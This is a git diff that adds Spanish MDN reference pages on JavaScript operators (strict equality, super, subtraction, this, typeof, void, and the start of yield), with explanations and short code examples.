+<p>Los operadores de estricta igualdad (<code>===</code> y <code>!==</code>) usan el <a class="external external-icon" href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.9.6" rel="noopener">Algoritmo Estricto Comparativo de Igualdad </a> para comparar dos operandos:</p>
+
+<ul>
+ <li>Si los operandos son de diferente tipo de valor, produce <code>false</code>.</li>
+ <li> Si ambos operandos son objetos, produce <code>true</code> solo si se refiere al mismo objeto.</li>
+ <li>Si ambos operandos son de tipo <code>null</code> o ambos operandos son <code>undefined</code>, produce <code>true</code>.</li>
+ <li>Si cualquier operando es de tipo <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">NaN</span></font>, produce <code>false</code>.</li>
+ <li>En otros casos, compara los valores de ambos operandos:
+  <ul>
+   <li>Los números deben tener el mismo valor numérico, aunque <code>+0</code> y <code>-0</code> son considerados como del mismo valor.</li>
+   <li>Los strings deben tener los mismos caracteres en el mismo orden.</li>
+   <li>Los booleanos deben ambos ser <code>true</code> o ambos ser <code>false</code>.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>La diferencia más notable entre este operador y el operador de <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Equality">igualdad</a> regular (<code>==</code>) es que si los operandos son de distinto tipo de valor, el operador <code>==</code> intenta convertir los valores a un mismo tipo de dato antes de compararlos.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Comparando_operandos_del_mismo_tipo">Comparando operandos del mismo tipo</h3>
+
+<pre class="brush: js notranslate">console.log("hello" === "hello");   // true
+console.log("hello" === "hola");    // false
+
+console.log(3 === 3);               // true
+console.log(3 === 4);               // false
+
+console.log(true === true);         // true
+console.log(true === false);        // false
+
+console.log(null === null);         // true</pre>
+
+<h3 id="Comparando_operandos_de_distinto_tipo">Comparando operandos de distinto tipo</h3>
+
+<pre class="brush: js notranslate">console.log("3" === 3);           // false
+
+console.log(true === 1);          // false
+
+console.log(null === undefined);  // false</pre>
+
+<h3 id="Comparando_objetos">Comparando objetos</h3>
+
+<pre class="brush: js notranslate">const object1 = {
+  name: "hello"
+}
+
+const object2 = {
+  name: "hello"
+}
+
+console.log(object1 === object2);  // false
+console.log(object1 === object1);  // true</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-equality-operators', 'Equality operators')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_exploradores">Compatibilidad entre exploradores</h2>
+
+
+
+<p>{{Compat("javascript.operators.strict_equality")}}</p>
+
+<h2 id="También_revisa">También revisa</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/Reference/Operators/Equality">Operador de igualdad</a></li>
+ <li><a href="/es/docs/Web/JavaScript/Reference/Operators/Inequality">Operador de desigualdad</a></li>
+ <li><a href="/es/docs/Web/JavaScript/Reference/Operators/Strict_inequality">Operador de estricta desigualdad</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/super/index.html b/files/es/web/javascript/referencia/operadores/super/index.html
new file mode 100644
index 0000000000..ff2ac5ae0e
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/super/index.html
@@ -0,0 +1,178 @@
+---
+title: super
+slug: Web/JavaScript/Referencia/Operadores/super
+tags:
+  - Clases
+  - ECMAScript 2015
+  - JavaScript
+  - Operador
+translation_of: Web/JavaScript/Reference/Operators/super
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>La palabra clave <strong>super</strong> es usada para acceder y llamar funciones del padre de un objeto.</p>
+
+<p>Las expresiones <code>super.prop</code> y <code>super[expr]</code> son válidas en cualquier <a href="/es/docs/Web/JavaScript/Reference/Functions/Method_definitions">definición de método</a> tanto para <a href="/es/docs/Web/JavaScript/Reference/Classes">clases</a> como para <a href="/es/docs/Web/JavaScript/Reference/Operators/Object_initializer">objetos literales</a>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">// llama al método constructor del objeto padre.
+super([arguments]);
+
+// llama cualquier otro método del objeto padre.
+super.functionOnParent([arguments]);
+</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Cuando es usado en un constructor, la palabra clave <code>super</code> aparece  sola lo cual invoca el constructor del objeto padre. En este caso debe usarse antes de que la palabra clave <code>this</code> sea usada. La palabra clave <code>super</code> también puede utilizarse para llamar otras funciones del objeto padre.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Usando_super_en_clases">Usando <code>super</code> en clases</h3>
+
+<p>Este fragmento de código se toma del <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">ejemplo de clases</a> (<a href="https://googlechrome.github.io/samples/classes-es6/index.html">demo en vivo</a>). Aquí se llama a <code>super()</code> para evitar la duplicación de las partes del constructor que son comunes entre <code>Rectangle</code> y <code>Square</code>.</p>
+
+<pre class="brush: js">class Rectangle {
+  constructor(height, width) {
+    this.name = 'Rectangle';
+    this.height = height;
+    this.width = width;
+  }
+  sayName() {
+    console.log('Hi, I am a ', this.name + '.');
+  }
+  get area() {
+    return this.height * this.width;
+  }
+  set area(value) {
+    this.height = this.width = Math.sqrt(value);
+  }
+}
+
+class Square extends Rectangle {
+  constructor(length) {
+    this.height; // ReferenceError, super necesita ser llamado primero!
+
+    // Aquí, llama al constructor de la clase padre con las longitudes
+    // previstas para el ancho y la altura de Rectangle
+    super(length, length);
+
+    // Nota: En las clases derivadas, se debe llamar a super() antes de
+    // poder usar 'this'. Salir de esto provocará un error de referencia.
+    this.name = 'Square';
+  }
+}</pre>
+
+<h3 id="Super-llamando_a_métodos_estáticos">Super-llamando a métodos estáticos</h3>
+
+<p>También puede llamar a super en métodos estáticos.</p>
+
+<pre class="brush: js">class Rectangle {
+  constructor() {}
+  static logNbSides() {
+    return 'I have 4 sides';
+  }
+}
+
+class Square extends Rectangle {
+  constructor() {}
+  static logDescription() {
+    return super.logNbSides() + ' which are all equal';
+  }
+}
+Square.logDescription(); // 'Tengo 4 lados que son todos iguales'
+</pre>
+
+<h3 id="Eliminar_propiedades_super_generará_un_error">Eliminar propiedades <code>super</code> generará un error</h3>
+
+<p>No puede usar el <a href="/es/docs/Web/JavaScript/Reference/Operators/delete">operador de eliminación</a> y <code>super.prop</code> o <code>super[expr]</code> para eliminar la propiedad de una clase principal, lanzará {{jsxref("ReferenceError")}}.</p>
+
+<pre class="brush: js">class Base {
+  constructor() {}
+  foo() {}
+}
+class Derived extends Base {
+  constructor() {}
+  delete() {
+    delete super.foo; // esto es malo
+  }
+}
+
+new Derived().delete(); // ReferenceError: eliminación no válida que implica 'super'. </pre>
+
+<h3 id="super.prop_no_puede_sobrescribir_las_propiedades_no_modificables"><code>super.prop</code> no puede sobrescribir las propiedades no modificables</h3>
+
+<p>Al definir propiedades que no se pueden escribir, p. Ej. {{jsxref("Object.defineProperty")}}, <code>super</code> no puede sobrescribir el valor de la propiedad.</p>
+
+<pre class="brush: js">class X {
+  constructor() {
+    Object.defineProperty(this, 'prop', {
+      configurable: true,
+      writable: false,
+      value: 1
+    });
+  }
+  f() {
+    super.prop = 2;
+  }
+}
+
+var x = new X();
+x.f(); // TypeError: "prop" es de solo lectura
+console.log(x.prop); // 1
+</pre>
+
+<h3 id="Usando_super.prop_en_objetos_literales">Usando <code>super.prop</code> en objetos literales</h3>
+
+<p>Super también se puede usar en el <a href="/es/docs/Web/JavaScript/Reference/Operators/Object_initializer">inicializador de objetos / notación literal</a>. En este ejemplo, dos objetos definen un método. En el segundo objeto, <code>super</code> llama al primer método del objeto. Esto funciona con la ayuda de {{jsxref("Object.setPrototypeOf()")}} con el que podemos establecer el prototipo de <code>obj2</code> en <code>obj1</code>, de modo que <code>super</code> pueda encontrar el <code>method1</code> en <code>obj1</code>.</p>
+
+<pre class="brush: js">var obj1 = {
+  method1() {
+    console.log('method 1');
+  }
+}
+
+var obj2 = {
+  method2() {
+   super.method1();
+  }
+}
+
+Object.setPrototypeOf(obj2, obj1);
+obj2.method2(); // logs "method 1"
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-super-keyword', 'super')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-super-keyword', 'super')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("javascript.operators.super")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/Reference/Classes">Clases</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/sustracción/index.html b/files/es/web/javascript/referencia/operadores/sustracción/index.html
new file mode 100644
index 0000000000..21bfd3a1ac
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/sustracción/index.html
@@ -0,0 +1,65 @@
+---
+title: Sustracción (-)
+slug: Web/JavaScript/Referencia/Operadores/Sustracción
+tags:
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Operators/Subtraction
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>El operador de sustracción (<code>-</code>) sustrae dos operandos, produciendo su diferencia.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-subtraction.html")}}</div>
+
+<div></div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><strong>Operator:</strong> <var>x</var> - <var>y</var>
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Sustracción_con_números">Sustracción con números</h3>
+
+<pre class="brush: js notranslate">5 - 3     // 2
+3 - 5     // -2</pre>
+
+<h3 id="Sustracción_de_no_numéricos">Sustracción de no numéricos</h3>
+
+<pre class="brush: js notranslate">'foo' - 3 // NaN</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-subtraction-operator-minus', 'Subtraction operator')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_exploradores">Compatibilidad entre exploradores</h2>
+
+
+
+<p>{{Compat("javascript.operators.subtraction")}}</p>
+
+<h2 id="También_revisa">También revisa</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Operators/Addition">Addition operator</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Operators/Division">Division operator</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Operators/Multiplication">Multiplication operator</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Operators/Remainder">Remainder operator</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Operators/Exponentiation">Exponentiation operator</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Operators/Increment">Increment operator</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Operators/Decrement">Decrement operator</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Operators/Unary_negation">Unary negation operator</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Operators/Unary_plus">Unary plus operator</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/this/index.html b/files/es/web/javascript/referencia/operadores/this/index.html
new file mode 100644
index 0000000000..74ed62bb60
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/this/index.html
@@ -0,0 +1,239 @@
+---
+title: this
+slug: Web/JavaScript/Referencia/Operadores/this
+translation_of: Web/JavaScript/Reference/Operators/this
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<h2 id="Introducción">Introducción</h2>
+
+<p>La palabra clave <strong><code>this</code></strong> de una función se comporta un poco diferente en Javascript en comparación con otros lenguajes. Además tiene algunas diferencias entre el <a href="/es/docs/Web/JavaScript/Referencia/Funciones/Modo_estricto" title="en-US/docs/JavaScript/Strict mode">modo estricto</a> y el modo no estricto.</p>
+
+<p>En general, el valor de <code>this</code> está determinado por cómo se invoca a la función. No puede ser establecida mediante una asignación en tiempo de ejecución, y puede ser diferente cada vez que la función es invocada. ES5 introdujo el método {{jsxref("Function.bind()", "bind()")}} para <a href="#Funciones_enlazadas" title="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Operators/Special/this#Bound_functions">establecer el valor de la función <code>this</code> independientemente de como es llamada</a>, y ES2015 introdujo las <a href="/es/docs/Web/JavaScript/Referencia/Funciones/Arrow_functions">funciones flecha</a> que no proporcionan su propio "binding" de <code>this</code> (se mantiene el valor de <code>this</code> del contexto léxico que envuelve a la función)</p>
+
+<p>{{EmbedInteractiveExample("pages/js/expressions-this.html")}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">this</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>El objeto contexto de JavaScript en el cual se está ejecutando el código actual.</p>
+
+<h2 id="Contexto_global">Contexto global</h2>
+
+<p>En el contexto de ejecución global (fuera de cualquier función), <strong><code>this</code></strong> se refiere al objeto global, ya sea en modo estricto o no.</p>
+
+<pre class="brush:js">console.log(this.document === document); // true
+
+// En los navegadores web, el objeto window también es un objeto global:
+console.log(this === window); // true
+
+this.a = 37;
+console.log(window.a); // 37
+</pre>
+
+<div class="blockIndicator note">
+<p><font><font>Nota: Puedes obtener el objeto global usando la propieda global <code>globalThis</code>, no importa el contexto donde se ejecute esta propiedad, siempre hará referencia al objeto global. </font></font></p>
+</div>
+
+<h2 id="Contexto_de_la_función">Contexto de la función</h2>
+
+<p><span class="hps" style="line-height: 1.5;">Dentro de una</span><span style="line-height: 1.5;"> </span><span class="hps" style="line-height: 1.5;">función</span><span style="line-height: 1.5;">, </span><span class="hps" style="line-height: 1.5;">el valor de this</span><span style="line-height: 1.5;"> </span><span class="hps" style="line-height: 1.5;">depende de cómo</span><span style="line-height: 1.5;"> la función es l</span><span class="hps" style="line-height: 1.5;">lamada</span><span id="result_box" lang="es" style="line-height: 1.5;">.</span></p>
+
+<h3 id="Llamada_simple">Llamada simple</h3>
+
+<pre class="brush:js">function f1(){
+  return this;
+}
+
+f1() === window; // objeto global
+</pre>
+
+<div><span class="hps" style="line-height: 1.5;">En</span><span style="line-height: 1.5;"> </span><span class="hps" style="line-height: 1.5;">este caso</span><span style="line-height: 1.5;">,</span><span style="line-height: 1.5;"> </span><span class="hps" style="line-height: 1.5;">el valor de <strong>this</strong></span><span style="line-height: 1.5;"> </span><span class="hps" style="line-height: 1.5;">no está establecido</span><span style="line-height: 1.5;"> </span><span class="hps" style="line-height: 1.5;">por</span><span style="line-height: 1.5;"> </span><span class="hps" style="line-height: 1.5;">la llamada</span><span style="line-height: 1.5;">.</span><span style="line-height: 1.5;"> </span><span class="hps" style="line-height: 1.5;">Dado que el código</span><span style="line-height: 1.5;"> </span><span class="alt-edited hps" style="line-height: 1.5;">no está</span><span style="line-height: 1.5;"> </span><span class="hps" style="line-height: 1.5;">en modo estricto</span><span style="line-height: 1.5;">, </span><span class="hps" style="line-height: 1.5;">el valor de this</span><span style="line-height: 1.5;"> </span><span class="hps" style="line-height: 1.5;">debe ser siempre</span><span style="line-height: 1.5;"> </span><span class="hps" style="line-height: 1.5;">un objeto</span><span style="line-height: 1.5;"> </span><span class="hps" style="line-height: 1.5;">por lo que</span><span style="line-height: 1.5;"> </span><span class="hps" style="line-height: 1.5;">por defecto es el</span><span style="line-height: 1.5;"> </span><span class="hps" style="line-height: 1.5;">objeto global</span><span style="line-height: 1.5;">.</span></div>
+
+<div></div>
+
+<div>
+<pre class="brush:js" style="font-size: 14px;">function f2(){
+  "use strict"; // consultar modo estricto
+  return this;
+}
+
+f2() === undefined;</pre>
+</div>
+
+<div><span style="line-height: 1.5;">En modo estricto, el valor de <strong>this</strong> se mantiene en lo que está establecida al entrar en el contexto de ejecución. Si no está definido, permanece undefined. También se puede ajustar a cualquier valor, tales como <strong>null</strong> o <strong>42</strong> o "<strong>Yo no soy this</strong>".</span></div>
+
+<div></div>
+
+<div class="note">
+<p><strong>Nota:</strong> En el segundo ejemplo, <strong><code>this</code></strong> debería ser {{jsxref("undefined")}}, porque <code>f2</code> fue llamado sin proporcionar ninguna base (ej. <code>window.f2()</code>). Esta característica no fue implementada en algunos navegadores cuando se comenzó a dar soporte al <a href="/es/docs/Web/JavaScript/Referencia/Funciones/Modo_estricto" title="Strict mode">modo estricto</a>. Como resultado, retorna incorrectamente el objeto window.</p>
+</div>
+
+<div><span>Como un método de un objeto</span></div>
+
+<p>Cuando una función es llamada como un método de un objeto, el <strong><code>this</code></strong> cambia por el metodo del objeto llamado.</p>
+
+<p>En el siguiente ejemplo, cuando <strong><code>o.f()</code></strong> es invocado, dentro de la función <strong><code>this</code></strong> es ligado al objeto <strong><code>o</code></strong>.</p>
+
+<pre class="brush:js">var o = {
+  prop: 37,
+  f: function() {
+    return this.prop;
+  }
+};
+
+console.log(o.f()); // logs 37
+</pre>
+
+<p>Note que el comportamiento no es del todo afectado por cómo o dónde la función fue definida. En el ejemplo anterior, nosotros definimos la función en línea como el elemento <code>f</code> durante la definición de <code>o</code>.  Sin embargo, podriamos haber definido con la misma facilidad la primera función y luego  adjuntarlo a <code>o.f</code>. Hacerlo da como resultado el mismo comportamiento.</p>
+
+<pre class="brush:js">var o = {prop: 37};
+
+function independent() {
+  return this.prop;
+}
+
+o.f = independent;
+
+console.log(o.f()); // logs 37
+</pre>
+
+<p>Esto demuestra que sólo importa que la función fue invocada del elemento <code>f</code> de <code>o</code>.</p>
+
+<p>Asimismo, el enlace <code>this</code> sólo se ve afectado por la referencia del miembro más inmediata. En el siguiente ejemplo, cuando invocamos a la función, lo llamamos como metodo <code>g</code> del objeto <code>o.b</code>. Esta vez durante la ejecución, <code>this </code>dentro de la función se referirá a <code>o.b</code>. <span id="result_box" lang="es"><span class="hps">El hecho de que</span> <span class="hps">el objeto</span> <span class="hps">es en sí mismo</span> <span class="alt-edited hps">un elemento</span> <span class="hps">de </span></span><code>o</code><span id="result_box" lang="es"> <span class="hps">no tiene ninguna</span> <span class="hps">consecuencia</span><span>,</span> <span class="hps">la referencia más</span> <span class="hps">inmediata es</span> <span class="hps">todo lo que importa</span><span>.</span></span></p>
+
+<pre class="brush:js">o.b = {g: independent, prop: 42};
+console.log(o.b.g()); // logs 42
+</pre>
+
+<h4 id="..._en_la_cadena_de_prototipo">... en la cadena de prototipo</h4>
+
+<p>El mismo concepto es válido para los métodos definidos en alguna parte de la cadena de prototipo del objeto. Si el método esta sobre una cadena de prototipo del objeto, <code>this</code> se referirá al objeto donde está el método de donde fue llamado. Como si ese método estuviera dentro del objeto. </p>
+
+<pre class="brush:js">var o = {f:function(){ return this.a + this.b; }};
+var p = Object.create(o);
+p.a = 1;
+p.b = 4;
+
+console.log(p.f()); // 5
+</pre>
+
+<p>En este ejemplo, el objeto asignado a la variable <code>p</code> no tiene su propia propiedad <code>f</code>, esto lo hereda de su prototipo. Pero no importa que la búsqueda de <code>f</code> eventualmente encuentre un elemento con ese nombre en <code>o</code>; la búsqueda comenzó como una referencia a <code>p.f</code>, asi <code>this </code>dentro de la funcion toma el valor del objeto referido como <code>p</code>. Es decir, desde que <code>f</code> es llamado como método de <code>p</code>, su <code>this</code> refiere a <code>p</code>. Esto es una interesante característica de la herencia de prototipo de JavaScript.</p>
+
+<h4 id="..._o_como_un_getter_o_setter">... o como un getter o setter</h4>
+
+<p>Nuevamente, el mismo concepto es válido cuando una función es invocada de un getter o un setter. Una función usado como getter o setter tiene su enlace <code>this</code> al objeto desde el cual la propiedad esta siendo establecida u obtenida.</p>
+
+<pre class="brush:js">function modulus(){
+  return Math.sqrt(this.re * this.re + this.im * this.im);
+}
+
+var o = {
+  re: 1,
+  im: -1,
+  get phase(){
+    return Math.atan2(this.im, this.re);
+  }
+};
+
+Object.defineProperty(o, 'modulus', {get: modulus, enumerable:true, configurable:true});
+
+console.log(o.phase, o.modulus); // logs -0.78 1.4142
+</pre>
+
+<h3 id="Como_un_constructor">Como un constructor</h3>
+
+<p>Cuando una función es usada como un constructor (con la palabra clave {{jsxref("Operadores/new", "new")}}), su <code>this</code> es enlazado al nuevo objeto en construcción, a menos que la ejecución de los resultados del constructor en el motor JavaScript encuentren una instrucción de retorno donde el valor de retorno sea un objeto.</p>
+
+<pre class="brush:js">/*
+ * Los constructores trabajan algo asi:
+ *
+ * function MyConstructor(){
+ *   // El cuerpo del código de la función actual va aquí.  Crear las propiedades en |this| como
+ *   // se desee mediante la asignación a los mismos.  E.g.,
+ *   this.fum = "nom";
+ *   // etcetera...
+ *
+ *   // Si la función tiene una sentencia de retorno este retorna un objeto,
+ *   // este objeto será el resultado de la expresión |new|.  Por otro lado, el
+ *   // resultado de la expresión es el objeto actualmente enlazado a |this|
+ *   // (i.e., el caso más común suele verse).
+ * }
+ */
+
+function C(){
+  this.a = 37;
+}
+
+var o = new C();
+console.log(o.a); // logs 37
+
+
+function C2(){
+  this.a = 37;
+  return {a:38};
+}
+
+o = new C2();
+console.log(o.a); // logs 38
+</pre>
+
+<p>En el último ejemplo (<code>C2</code>), debido a que un objeto fue devuelto durante la construcción, el nuevo objeto que fue enlazado a <code>this</code> simplemente se descarta.( Esto esencialmente hace de la declaración "<code>this.a = 37;</code>" codigo muerto. No esta exactamente muerto,porque es ejecutado pero se puede eliminar sin efectos externos.)</p>
+
+<h3 id="call_y_apply"><code>call</code> y <code>apply</code></h3>
+
+<p>Cuando una función usa la plabra clave <code>this</code> en su cuerpo, su valor puede ser enlazado a un objeto particular durante la ejecución del método {{jsxref("Function.call()", "call()")}} or {{jsxref("Function.apply()", "apply()")}} que todas las funciones hereden de  <code>Function.prototype</code>.</p>
+
+<pre class="brush:js">function add(c, d){
+  return this.a + this.b + c + d;
+}
+
+var o = {a:1, b:3};
+
+// El primer parámetro es el objeto a usar como 'this', parámetros posteriores se pasan como argumentos
+// en la llamada a la función
+add.call(o, 5, 7); // 1 + 3 + 5 + 7 = 16
+
+//El primer parámetro es el objeto a usar como 'this''this', la segunda es una matriz cuyos elementos
+//  se utilizan como argumentos en la llamada a la función
+add.apply(o, [10, 20]); // 1 + 3 + 10 + 20 = 34
+</pre>
+
+<h3 id="Funciones_enlazadas">Funciones enlazadas</h3>
+
+<p>ECMAScript 5 introduce {{jsxref("Function.prototype.bind()")}}. Llamando a <code>f.bind(someObject)</code> crea una nueva función con el mismo cuerpo y alcance de <code>f</code>, pero donde <code>this</code> se produce en la función original, en la nueva función esto esta permanentemente ligado al primer argumento de <code>bind</code>, independientemente de cómo la función está siendo utilizada.</p>
+
+<pre class="brush:js">function f(){
+  return this.a;
+}
+
+var g = f.bind({a:"azerty"});
+console.log(g()); // azerty
+
+var o = {a:37, f:f, g:g};
+console.log(o.f(), o.g()); // 37, azerty
+</pre>
+
+<h3 id="Como_un_controlador_de_eventos_DOM">Como un controlador de eventos DOM</h3>
+
+<p>Cuando una función es usada como un controlador de eventos, su <code>this</code> es cambiado desde el elemento del evento disparado (algunos navegadores no siguen esta convención para los listeners agregados dinámicamente con otros métodos <code>addEventListener</code>).</p>
+
+<pre class="brush:js">// Cuando se llama como un listener, convierte en azul el elemento
+// relacionado
+function bluify(e){
+  console.log(this === e.currentTarget); // Siempre true
+  console.log(this === e.target);        // true cuando currentTarget y target son el mismo objeto
+  this.style.backgroundColor = '#A5D9F3';
+}
+
+// Consigue una lista de cada elemento en un documento
+var elements = document.getElementsByTagName('*');
+
+// Añade bluify como un click listener asi cuando se hace click sobre el elemento,
+// este cambia a azul
+for(var i=0 ; i&lt;elements.length ; i++){
+  elements[i].addEventListener('click', bluify, false);
+}</pre>
diff --git a/files/es/web/javascript/referencia/operadores/typeof/index.html b/files/es/web/javascript/referencia/operadores/typeof/index.html
new file mode 100644
index 0000000000..088791f228
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/typeof/index.html
@@ -0,0 +1,76 @@
+---
+title: typeof
+slug: Web/JavaScript/Referencia/Operadores/typeof
+tags:
+  - JavaScript
+  - Operator
+  - Unary
+translation_of: Web/JavaScript/Reference/Operators/typeof
+---
+<div><span class="diff_add">{{jsSidebar("Operators")}}</span></div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>El operador <code>typeof</code> se usa en cualquiera de los siguientes modos:</p>
+
+<ol>
+ <li><code>typeof <em>operando</em> </code></li>
+ <li><code>typeof (<em>operando</em>)</code></li>
+</ol>
+
+<p>El operador <code>typeof</code> devuelve una cadena que indica el tipo del operando sin evaluarlo. <code>operando</code> es la cadena, variable, palabra clave u objeto para el que se devolverá su tipo. Los paréntesis son opcionales.</p>
+
+<p>Suponga que define las siguientes variables:</p>
+
+<pre class="brush: js">var miFuncion = new Function("5+2")
+var forma = "redonda"
+var tamano = 1
+var hoy = new Date()
+</pre>
+
+<p>El operador <code>typeof</code> devuelve los siguientes resultados para estas variables</p>
+
+<pre class="brush: js">typeof miFuncion === 'function'
+typeof forma === 'string'
+typeof tamano === 'number'
+typeof hoy === 'object'
+typeof noExiste === 'undefined'
+</pre>
+
+<p>Para las palabras clave <code>true</code> y <code>null</code>, el operador <code>typeof</code> devuelve los siguientes resultados:</p>
+
+<pre class="brush: js">typeof true === 'boolean'
+typeof null === 'object'
+</pre>
+
+<p>Para un número o una cadena, el operador <code>typeof</code> devuelve los siguientes resultados:</p>
+
+<pre class="brush: js">typeof 62 === 'number'
+typeof 'Hola mundo' === 'string'
+</pre>
+
+<p>Para valores de propiedades, el operador <code>typeof</code> devuelve el tipo del valor que contiene la propiedad:</p>
+
+<pre class="brush: js">typeof document.lastModified === 'string'
+typeof window.length === 'number'
+typeof Math.LN2 === 'number'
+</pre>
+
+<p>Para métodos y funciones, el operador <code>typeof</code> devuelve los resultados siguientes:</p>
+
+<pre class="brush: js">typeof blur === 'function'
+typeof eval === 'function'
+typeof parseInt === 'function'
+typeof shape.split === 'function'
+</pre>
+
+<p>Para objetos predefinidos, el operador <code>typeof</code> devuelve los siguientes resultados:</p>
+
+<pre class="brush: js">typeof Date === 'function'
+typeof Function === 'function'
+typeof Math === 'object'
+typeof Object === 'function'
+typeof String === 'function'
+</pre>
+
+<p> </p>
diff --git a/files/es/web/javascript/referencia/operadores/void/index.html b/files/es/web/javascript/referencia/operadores/void/index.html
new file mode 100644
index 0000000000..0bf8048b21
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/void/index.html
@@ -0,0 +1,36 @@
+---
+title: void
+slug: Web/JavaScript/Referencia/Operadores/void
+tags:
+  - JavaScript
+  - Operator
+  - Unary
+translation_of: Web/JavaScript/Reference/Operators/void
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>El operador <code>void</code> se usa en cualquiera de los siguientes modos:</p>
+
+<ol>
+ <li><code>void (<em>expresion</em> )</code></li>
+ <li><code>void <em>expresion</em> </code></li>
+</ol>
+
+<p>El operador <code>void</code> especifica una expresión que se evalúa sin devolver un valor. <code>expresion</code> es una expresión JavaScript para evaluar. El paréntesis rodeando la expresión es opcional, pero usarlos es una buena práctica al programar.</p>
+
+<p>Puede usar el operador <code>void</code> para especificar una expresión como un enlace de hipertexto. La expresión se evalúa pero no se carga en lugar del documento actual.</p>
+
+<p>El siguiente código crea un enlace de hipertexto que no hace nada cuando el usuario hace click en él. Cuando el usuario hace click en el enlace, void(0) se evalúa como 0, pero eso no tiene ningún efecto en JavaScript.</p>
+
+<pre class="brush: html">&lt;a href="javascript:void(0)"&gt;Haga click aquí para no hacer nada&lt;/a&gt;
+</pre>
+
+<p>El siguiente código crea un enlace de hipertexto que envía un formulario cuando el usuario hace click en él.</p>
+
+<pre class="brush: html">&lt;a href="javascript:void(document.forms["miFormulario"].submit())"&gt;
+Haga click aquí para enviar&lt;/a&gt;
+</pre>
+
+<div class="noinclude"></div>
diff --git a/files/es/web/javascript/referencia/operadores/yield/index.html b/files/es/web/javascript/referencia/operadores/yield/index.html
new file mode 100644
index 0000000000..7237b6d689
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/yield/index.html
@@ -0,0 +1,130 @@
+---
+title: yield
+slug: Web/JavaScript/Referencia/Operadores/yield
+tags:
+  - Característica del lenguaje
+  - ECMAScript 2015
+  - Generadores
+  - Iterador
+  - JavaScript
+  - Operador
+translation_of: Web/JavaScript/Reference/Operators/yield
+---
+<div>{{jsSidebar("Operadores")}}</div>
+
+<p>La palabra clave <code>yield</code> se usa para pausar y reanudar una función generadora ({{jsxref("Statements/function*", "function*")}} o {{jsxref("Statements/Legacy_generator_function", "función generadora heredada")}}).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-yield.html", "taller")}}</div>
+
+<div class="hidden">La fuente de este ejemplo interactivo se almacena en un repositorio de GitHub. Si deseas contribuir al proyecto de ejemplos interactivos, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos una solicitud de extracción.</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
